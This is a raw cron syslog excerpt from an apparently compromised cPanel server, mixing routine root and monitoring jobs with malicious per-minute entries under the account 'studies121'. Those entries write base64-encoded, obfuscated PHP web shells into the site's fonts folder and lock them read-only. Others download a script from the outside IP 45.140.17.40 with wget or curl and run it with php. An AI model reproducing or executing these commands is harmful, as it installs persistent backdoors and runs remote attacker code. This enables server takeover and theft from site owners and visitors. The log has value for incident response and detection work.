Aug 30 08:52:01 ip-184-168-122-23 CROND[13616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:53:01 ip-184-168-122-23 CROND[13701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:53:01 ip-184-168-122-23 CROND[13703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:53:01 ip-184-168-122-23 CROND[13704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:53:01 ip-184-168-122-23 CROND[13706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:54:01 ip-184-168-122-23 CROND[13784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:54:01 ip-184-168-122-23 CROND[13786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:54:01 ip-184-168-122-23 CROND[13787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:54:01 ip-184-168-122-23 CROND[13789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:54:01 ip-184-168-122-23 CROND[13788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:55:01 ip-184-168-122-23 CROND[13875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:55:01 ip-184-168-122-23 CROND[13879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:55:01 ip-184-168-122-23 CROND[13881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:55:01 ip-184-168-122-23 CROND[13877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:55:01 ip-184-168-122-23 CROND[13880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:55:01 ip-184-168-122-23 CROND[13878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:56:02 ip-184-168-122-23 CROND[13963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:56:02 ip-184-168-122-23 CROND[13966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:56:02 ip-184-168-122-23 CROND[13968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:56:02 ip-184-168-122-23 CROND[13967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:56:02 ip-184-168-122-23 CROND[13965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:57:01 ip-184-168-122-23 CROND[14131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:57:01 ip-184-168-122-23 CROND[14133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:57:01 ip-184-168-122-23 CROND[14134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:57:01 ip-184-168-122-23 CROND[14135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:58:01 ip-184-168-122-23 CROND[14217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:58:01 ip-184-168-122-23 CROND[14219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:58:01 ip-184-168-122-23 CROND[14222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:58:01 ip-184-168-122-23 CROND[14221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:58:01 ip-184-168-122-23 CROND[14220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:59:01 ip-184-168-122-23 CROND[14299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:59:01 ip-184-168-122-23 CROND[14301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:59:01 ip-184-168-122-23 CROND[14303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:59:01 ip-184-168-122-23 CROND[14304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:00:02 ip-184-168-122-23 CROND[14406]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:00:02 ip-184-168-122-23 CROND[14413]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:00:02 ip-184-168-122-23 CROND[14415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:01:01 ip-184-168-122-23 CROND[14511]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 09:01:01 ip-184-168-122-23 CROND[14510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:01:01 ip-184-168-122-23 CROND[14513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:01:01 ip-184-168-122-23 CROND[14515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:01:01 ip-184-168-122-23 CROND[14514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:01:01 ip-184-168-122-23 CROND[14517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14511]: starting 0anacron
Aug 30 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14532]: finished 0anacron
Aug 30 09:02:01 ip-184-168-122-23 CROND[14603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:02:01 ip-184-168-122-23 CROND[14605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:02:01 ip-184-168-122-23 CROND[14607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:02:01 ip-184-168-122-23 CROND[14604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:02:01 ip-184-168-122-23 CROND[14609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:03:01 ip-184-168-122-23 CROND[14684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:03:01 ip-184-168-122-23 CROND[14686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:03:01 ip-184-168-122-23 CROND[14688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:03:01 ip-184-168-122-23 CROND[14685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:04:01 ip-184-168-122-23 CROND[14763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:04:01 ip-184-168-122-23 CROND[14766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:04:01 ip-184-168-122-23 CROND[14765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:04:01 ip-184-168-122-23 CROND[14768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
